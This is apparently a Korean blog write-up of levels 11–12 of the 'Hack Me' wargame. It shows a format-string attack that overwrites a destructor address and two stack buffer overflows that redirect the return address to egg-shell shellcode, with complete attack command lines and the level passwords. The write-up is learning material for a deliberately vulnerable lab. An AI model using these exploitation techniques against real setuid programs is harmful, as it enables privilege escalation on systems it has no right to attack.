일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- activity
- DART
- LifeCycle
- ScrollView
- Flutter
- binding
- TEST
- 안드로이드
- scroll
- android
- tabbar
- textfield
- Kotlin
- Compose
- appbar
- 계측
- Button
- data
- livedata
- intent
- 앱
- 테스트
- Dialog
- 앱바
- viewmodel
- Coroutines
- drift
- CustomScrollView
- textview
- Navigation
- Today
- Total
Study Record
[리버싱] Hack Me 풀이집3 (11,12 단계) 본문
11단계 → 12단계
※ 11단계(level11) 패스워드 : "what!@#$?"
풀이 1. 포맷 스트링
☞ 기초개념 - 포맷 스트링, 에그쉘, 쉘코드
https://laustudy.tistory.com/66 - 포맷 스트링
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
㉮ hint 를 확인한다.
# cat hint
hint 의 내용을 보니 /home/level11/attackme 의 소스코드 내용으로 추정된다. printf() 함수를 포맷 스트링 공격에 취약한 방식으로 사용하고 있는 것 같다. ls 명령어를 통해 attackme 가 level12 계정으로 setuid 비트가 걸려있어 이 프로그램이 실행되는 동안에는 level12 권한을 가진다는 것을 확인했다.
㉯ 포맷 스트링 공격 가능 여부를 확인한다.
# ./attackme "AAAA %x %x %x %x %x %x %x %x %x %x %x %x"
%x 를 사용했을 때 메모리 주소값처럼 보이는 값들이 보이는 걸로 봐서 포맷 스트링 공격이 가능할 것 같다.
중간에 4번째 %x 에서 "41414141" 값은 "A" 의 아스키코드값인 0x41 이 출력된 것으로 보아 str 배열의 주소는 %x 를 4번 출력했을 때 볼 수 있다.
㉰ 포맷 스트링 공격은 특정 메모리 주소에 원하는 값을 넣을 수 있다. 이 점을 이용하여 attackme 프로그램이 실행되는 동안 쉘을 획득할 수 있어야 한다. 따라서 특정 메모리 주소에는 main 함수가 종료될 때 호출되는 소멸자 함수 대신 쉘코드의 실행 주소로 변조하여 쉘이 실행될 수 있게 해볼 것이다.
※ attackme 프로그램은 실행되는 동안 level12 권한을 가지고 있다.
㉱ 먼저 소멸자 함수의 주소를 확인해본다.
# nm ./attackme
0x08049610 주소에 소멸자 함수가 들어있는 것을 확인했다.
㉲ 에그쉘을 사용하여 쉘 코드를 메모리에 올려 쉘 코드의 실행 주소를 확인한다.
→ 에그쉘과 쉘코드에 대한 설명
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
# egg; getenv;
egg 프로그램으로 환경변수 SUPERDK 에 쉘코드를 등록하고 배시쉘을 새로 실행한 다음 getenv 프로그램으로 환경변수 SUPERDK 의 시작주소값을 가져왔다.
쉘 코드의 실행 주소는 0xbffff499 이다.
㉳ 포맷 스트링 공격에 사용할 주소값들을 전부 구했다. 변조할 메모리는 소멸자 함수가 저장된 위치인 0x08049610 이고, 변조할 값은 0xbffff499 이다.
이것으로 포맷 스트링 공격 구문을 만들면 다음과 같다.
str 배열의 주소는 %x 를 4번 출력했을 때 볼 수 있었고, str의 배열의 4바이트를 소멸자 함수가 저장된 위치인0x08049610 로 저장하고 변조할 값을 0xbffff499 로 바꿔야 한다.
☞ 완성된 공격 구문
/home/level11/attackme \
$(printf "\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%62589c%n%52070c%n
완성된 공격 구문 실행 결과 쉘 코드가 실행되고 패스워드를 획득했다! 반드시 애그쉘이 실행되고 있는 상태에서 공격 구문을 실행해야 한다.
풀이 2. 버퍼 오버플로우
☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘
https://laustudy.tistory.com/65 - 버퍼 오버플로우
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
㉮ hint 를 확인한다.
# cat hint
hint 의 내용을 확인한 결과 /home/level11/attackme 프로그램의 소스코드로 추정된다. 소스 코드를 보면, strcpy() 함수에서 인자값(argv[1])을 str 배열에 카피하는데 글자제한을 두고 있지 않은 것 같다. 이점을 이용하여 곧 버퍼 오버플로우 공격을 시도하여 ret 값을 미리 메모리에 올려둔 쉘코드의 주소값으로 바꾸면 쉘코드를 실행하여 쉘을 획득할 수 있을 것 같다.
㉯ /home/level11/attackme 를 분석한다.
/home/level11/attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 어셈블리 코드를 확인한다.
# /home/level11/attackme $(perl -e 'print "A"x255') 를 분석한 결과이다.
0xbffffa34 의 값을 확인해본 결과 argv 값이 들어있는 것으로 RET 값은 0x42015574 라는 것을 알았다. RET 값과 str 배열은 사이에 12byte 떨어져 있다는 사실도 알 수 있다.
㉰ 에그쉘을 사용하여 쉘 코드를 메모리에 올려 쉘 코드의 실행 주소를 확인한다.
→ 에그쉘과 쉘코드에 대한 설명
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
# egg; getenv;
egg 프로그램으로 환경변수 SUPERDK 에 쉘코드를 등록하고 배시쉘을 새로 실행한 다음 getenv 프로그램으로 환경변수 SUPERDK 의 시작주소값을 가져왔다.
쉘 코드의 실행 주소는 0xbffff499 이다.
㉱ 버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어볼 수 있다.
buf 배열의 크기는 256byte이고 RET 까지 12byte의 빈공간이 존재한다. 따라서 268byte 를 아무 문자로 채우고 그 뒤 4byte를 미리 메모리에 올려둔 쉘코드의 주소값인 0xbffff499 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0xbffff499 는 거꾸로 들어가야 한다.
최종적으로 인자값은 $(perl -e 'print "A"x268,"\x99\xf4\xff\xbf"') 가 되고, 공격 구문은 /home/level11/attackme $(perl -e 'print "A"x268,"\x99\xf4\xff\xbf"') 가 된다.
㉲ 공격 구문을 실행해본다. 반드시 /home/level12/tmp/egg 가 실행되고 있어야 한다.
# /home/level11/attackme $(perl -e 'print "A"x268,"\x99\xf4\xff\xbf"')
공격 결과 쉘을 얻을 수 있었고 level12 의 패스워드를 획득했다!
12단계 → 13단계
※ 12단계(level12) 패스워드 : "it is like this"
☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘
https://laustudy.tistory.com/65 - 버퍼 오버플로우
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
㉮ hint 를 확인한다.
# cat hint
hint 의 내용을 확인한 결과 /home/level12/attackme 프로그램의 소스코드로 추정된다. 소스 코드를 보면, gets() 함수에서 표준 입력으로 받은 값을 str 배열에 저장하는 동작을 하는데 글자제한을 두고 있지 않은 것 같다. 이점을 이용하여 곧 버퍼 오버플로우 공격을 시도하여 ret 값을 미리 메모리에 올려둔 쉘코드의 주소값으로 바꾸면 쉘코드를 실행하여 쉘을 획득할 수 있을 것 같다.
㉯ /home/level12/attackme 를 분석한다.
/home/level12/attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 어셈블리 코드를 확인한다.
# $(perl -e 'print "A"x256'; cat) | /home/level12/attackme 를 분석한 결과이다.
0xbfffdd34 의 값을 확인해본 결과 argv 값이 들어있는 것으로 RET 값은 0x42015574 라는 것을 알았다. RET 값과 str 배열은 사이에 12byte 떨어져 있다는 사실도 알 수 있다.
㉰ 에그쉘을 사용하여 쉘 코드를 메모리에 올려 쉘 코드의 실행 주소를 확인한다.
→ 에그쉘과 쉘코드에 대한 설명
https://laustudy.tistory.com/73 - 에그쉘
https://laustudy.tistory.com/70 - 쉘코드
# egg; getenv;
egg 프로그램으로 환경변수 EGG 에 쉘코드를 등록하고 배시쉘을 새로 실행한 다음 getenv 프로그램으로 환경변수 EGG의 시작주소값을 가져왔다.
쉘 코드의 실행 주소는 0xbffff6d4 이다.
㉱ 버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어볼 수 있다.
buf 배열의 크기는 256byte이고 RET 까지 12byte의 빈공간이 존재한다. 따라서 268byte 를 아무 문자로 채우고 그 뒤 4byte를 미리 메모리에 올려둔 쉘코드의 주소값인 0xbffff6d4 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0xbffff6d4 는 거꾸로 들어가야 한다.
최종적으로 표준입력값은 (perl -e 'print "A"x268,"\xd4\xf6\xff\xbf"') 가 되고, 공격 구문은
(perl -e 'print "A"x268,"\xd4\xf6\xff\xbf"'; cat) | /home/level12/attackme 가 된다.
㉲ 공격 구문을 실행해본다. 반드시 /home/level12/tmp/egg 가 실행되고 있어야 한다.
# (perl -e 'print "A"x268,"\xd4\xf6\xff\xbf"'; cat) | /home/level12/attackme
공격 결과 쉘을 획득하였고 13단계의 패스워드를 획득했다!
'리버싱 > Hack Me' 카테고리의 다른 글
[리버싱] Hack 풀이집 정리 (0) | 2021.11.22 |
---|---|
[리버싱] Hack Me 풀이집5 (15~19단계) (0) | 2021.11.19 |
[리버싱] Hack Me 풀이집4 (13,14단계) (0) | 2021.11.19 |
[리버싱] Hack Me 풀이집2 (7단계 ~ 10단계) (0) | 2021.11.16 |
[리버싱] Hack Me 풀이집1 (1단계 ~ 6단계) (0) | 2021.11.15 |